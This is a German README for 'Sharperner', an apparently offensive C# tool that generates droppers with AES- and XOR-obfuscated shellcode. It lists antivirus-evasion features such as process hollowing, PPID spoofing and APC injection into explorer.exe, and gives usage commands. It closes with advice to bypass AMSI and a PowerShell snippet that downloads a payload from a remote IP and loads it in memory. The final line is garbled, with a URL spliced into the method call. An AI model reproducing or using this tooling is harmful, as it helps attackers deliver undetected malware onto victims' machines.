Sharperner

Sharperner ist ein in CSharp geschriebenes Werkzeug, das einen .NET-Dropper mit AES- und XOR-verschleiertem Shellcode erzeugt. Die generierte ausführbare Datei kann möglicherweise die Signaturprüfung umgehen, aber ich kann nicht sicher sein, dass sie die heuristische Überprüfung umgehen kann.

Funktionen

PE-Binärdatei

• Process Hollowing
• PPID Spoofing
• Zufällig generierter AES-Schlüssel und IV
• Finaler Shellcode, Schlüssel und IV werden in Morsecode übersetzt :)

.NET-Binärdatei

• AES + XOR verschlüsselter Shellcode
• APC Process Injection (explorer.exe)
• Zufällige Funktionsnamen
• Zufällig generierter AES-Schlüssel und IV
• Finaler Shellcode, Schlüssel und IV werden in Morsecode übersetzt :)

Verwendung

/file       B64,hex,raw shellcode
/type       cs,cpp
/out        Output file Location (Optional)

Example:
Sharperner.exe /file:file.txt /type:cpp
Sharperner.exe /file:file.txt /out:payload.exe

Vorschlag

Um die Festplatte zu vermeiden, kann die generierte .NET-Ausführbare Datei reflektiv mit PowerShell geladen werden. AMSI ist jetzt der Feind, amsi.fail ftw!

$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/payload.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[TotallyNotMal.Program]:https://raw.githubusercontent.com/aniqfakhrul/sharperner/HEAD/:Main()